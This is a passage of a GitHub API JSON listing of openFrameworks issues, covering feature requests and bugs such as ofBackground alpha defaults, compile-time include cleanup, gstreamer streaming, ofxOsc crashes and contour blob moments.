ofBackground(r,g,b) because the alpha is 0 by default -- meaning you always have to explicitly declare the alpha to clear the background.\r\n\r\nfurthermore, because all the arguments have default values there is not/cannot exist an ofClear(gray, alpha) to match ofSetColor style"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/255","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/255/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/255/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/255/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/255","id":413771,"number":255,"title":"COMPILE SPEED UP - cleanup internal includes to avoid ofMain.h and ofConstants.h","user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"state":"open","assignee":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8/labels","id":88731,"number":8,"title":"0.9.0 Release","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":51,"closed_issues":4,"state":"open","created_at":"2012-02-25T01:34:28Z","updated_at":"2013-03-06T10:40:23Z","due_on":"2013-06-02T07:00:00Z"},"comments":4,"created_at":"2010-11-11T21:14:05Z","updated_at":"2013-02-11T12:13:02Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"A lot of OF files are including ofMain / ofConstants.h - this makes compiles super slow. Try to have files only include what they need. Or find a way to break things up into the most often used ( windows.h etc ) and less used. "},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/249","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/249/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/249/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/249/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/249","id":399214,"number":249,"title":"normalize option nomenclature (hide/enable/set/etc.)","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"state":"open","assignee":null,"milestone":null,"comments":1,"created_at":"2010-11-03T22:52:08Z","updated_at":"2011-12-02T20:11:33Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"ofHideCursor()/ofShowCursor()\r\n\r\nofEnableArbTex()\r\nofEnableSetupScreen()\r\nofEnableDataPath()\r\nofEnableAlphaBlending()\r\nofEnableSmoothing()\r\n\r\nofSetFullscreen() + ofToggleFullscreen()\r\nofSetVerticalSync()\r\n\r\netc."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/245","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/245/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/245/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/245/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/245","id":360885,"number":245,"title":"gstreamer problems with streaming of microsoft video","user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"}],"state":"open","assignee":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11/labels","id":264333,"number":11,"title":"0.8.0","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":49,"closed_issues":5,"state":"open","created_at":"2013-02-11T12:15:03Z","updated_at":"2013-03-10T12:09:16Z","due_on":"2013-04-21T07:00:00Z"},"comments":2,"created_at":"2010-10-13T16:33:06Z","updated_at":"2013-02-11T12:16:29Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"some video to test:\r\n\r\nmmsh://live.camstreams.com/cscamglobal16?MSWMExt=.asf\r\n\r\nit works ok with totem so it should be a problem in ofGstUtils"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/228","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/228/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/228/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/228/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/228","id":309191,"number":228,"title":"remove bAllocated in ofTexture?","user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"state":"open","assignee":null,"milestone":null,"comments":4,"created_at":"2010-09-09T14:20:55Z","updated_at":"2011-04-19T00:32:33Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"related to #221: texData.bAllocated is only used in the isAllocated method which can be changed from:\r\n\r\n bool ofTexture::bAllocated(){\r\n return texData.bAllocated;\r\n }\r\n\r\nto\r\n\r\n bool ofTexture::bAllocated(){\r\n return texData.textureID!=0;\r\n }\r\n\r\navoiding problems like #221 since we don't have two flags for the same thing"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/225","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/225/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/225/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/225/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/225","id":295913,"number":225,"title":"ofxVectorMath constants","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2010-08-31T10:54:19Z","updated_at":"2010-08-31T10:54:19Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"It would be nice to have:\r\n\r\n\tconst ofxVec2f xunit2f(1, 0), yunit2f(0, 1);\r\n\tconst ofxVec3f xunit3f(1, 0, 0), yunit3f(0, 1, 0), zunit3f(0, 0, 1);\r\n\r\nOr something similar that allows for more elegant notation when you're multiplying or adding by an axis."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/224","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/224/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/224/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/224/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/224","id":290973,"number":224,"title":"gaussian noise","user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize","color":"65a300"}],"state":"open","assignee":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"milestone":null,"comments":11,"created_at":"2010-08-26T10:21:24Z","updated_at":"2012-07-17T07:40:58Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"can this be useful?\nhttp://www.openframeworks.cc/forum/viewtopic.php?f=25&t=4500\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/214","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/214/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/214/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/214/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/214","id":268332,"number":214,"title":"ofxOsc memory access violation. namespace issue?","user":{"login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","html_url":"https://github.com/elliotwoods","followers_url":"https://api.github.com/users/elliotwoods/followers","following_url":"https://api.github.com/users/elliotwoods/following","gists_url":"https://api.github.com/users/elliotwoods/gists{/gist_id}","starred_url":"https://api.github.com/users/elliotwoods/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/elliotwoods/subscriptions","organizations_url":"https://api.github.com/users/elliotwoods/orgs","repos_url":"https://api.github.com/users/elliotwoods/repos","events_url":"https://api.github.com/users/elliotwoods/events{/privacy}","received_events_url":"https://api.github.com/users/elliotwoods/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"state":"open","assignee":null,"milestone":null,"comments":1,"created_at":"2010-08-04T05:59:22Z","updated_at":"2011-10-17T13:58:53Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"ofxOsc causes a memory access violation in VS2008, when you use sendMessage(ofxOscMessage) from within a class.\r\nNo error when you run that from main ofApp"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/181","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/181/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/181/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/181/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/181","id":171615,"number":181,"title":"ofxCvBlobs","user":{"login":"vanderlin","id":149997,"avatar_url":"https://secure.gravatar.com/avatar/96c91dba0113ea847ee43b0961d24b3a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"96c91dba0113ea847ee43b0961d24b3a","url":"https://api.github.com/users/vanderlin","html_url":"https://github.com/vanderlin","followers_url":"https://api.github.com/users/vanderlin/followers","following_url":"https://api.github.com/users/vanderlin/following","gists_url":"https://api.github.com/users/vanderlin/gists{/gist_id}","starred_url":"https://api.github.com/users/vanderlin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/vanderlin/subscriptions","organizations_url":"https://api.github.com/users/vanderlin/orgs","repos_url":"https://api.github.com/users/vanderlin/repos","events_url":"https://api.github.com/users/vanderlin/events{/privacy}","received_events_url":"https://api.github.com/users/vanderlin/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"state":"open","assignee":null,"milestone":null,"comments":2,"created_at":"2010-04-14T15:42:22Z","updated_at":"2010-04-14T15:48:19Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"can we add moments to the blob. \n\nadd CvMoments moments to blob class\n\nand in ofxCvContourFinder.cpp line 119\n\n\t blobs[i].moments.m00 = myMoments->m00;\n\t\tblobs[i].moments.m10 = myMoments->m10;\n\t\tblobs[i].moments.m01 = myMoments->m01;\n\t\tblobs[i].moments.m20 = myMoments->m20;\n\t\tblobs[i].moments.m11 = myMoments->m11;\n\t\tblobs[i].moments.m02 = myMoments->m02;\n\t\tblobs[i].moments.m30 = myMoments->m30;\n\t\tblobs[i].moments.m21 = myMoments->m21;\n\t\tblobs[i].moments.m12 = myMoments->m12;\n\t\tblobs[i].moments.m03 = myMoments->m03;\n\t\t\n\t\tblobs[i].moments.mu20 = myMoments->mu20;\n\t\tblobs[i].moments.mu11 = myMoments->mu11;\n\t\tblobs[i].moments.mu02 = myMoments->mu02;\n\t\tblobs[i].moments.mu30 = myMoments->mu30;\n\t\tblobs[i].moments.mu21 = myMoments->mu21;\n\t\tblobs[i].moments.mu12 = myMoments->mu12;\n\t\tblobs[i].moments.mu03 = myMoments->mu03;\n\n\nthis is good for finding the angle and other info about the contour.\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/174","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/174/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/174/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/174/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/174","id":166212,"number":174,"title":"vertical sync on for mac by default","user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11/labels","id":264333,"number":11,"title":"0.8.0","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":49,"closed_issues":5,"state":"open","created_at":"2013-02-11T12:15:03Z","updated_at":"2013-03-10T12:09:16Z","due_on":"2013-04-21T07:00:00Z"},"comments":1,"created_at":"2010-04-06T19:43:21Z","updated_at":"2013-02-11T12:16:28Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":""},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/173","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/173/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/173/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/173/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/173","id":166211,"number":173,"title":"ofAlphaBlending default on","user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"state":"open","assignee":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8/labels","id":88731,"number":8,"title":"0.9.0 Release","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":51,"closed_issues":4,"state":"open","created_at":"2012-02-25T01:34:28Z","updated_at":"2013-03-06T10:40:23Z","due_on":"2013-06-02T07:00:00Z"},"comments":3,"created_at":"2010-04-06T19:42:34Z","updated_at":"2013-02-11T12:13:02Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":""},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/172","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/172/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/172/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/172/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/172","id":166209,"number":172,"title":"rgb + alpha -> blit to 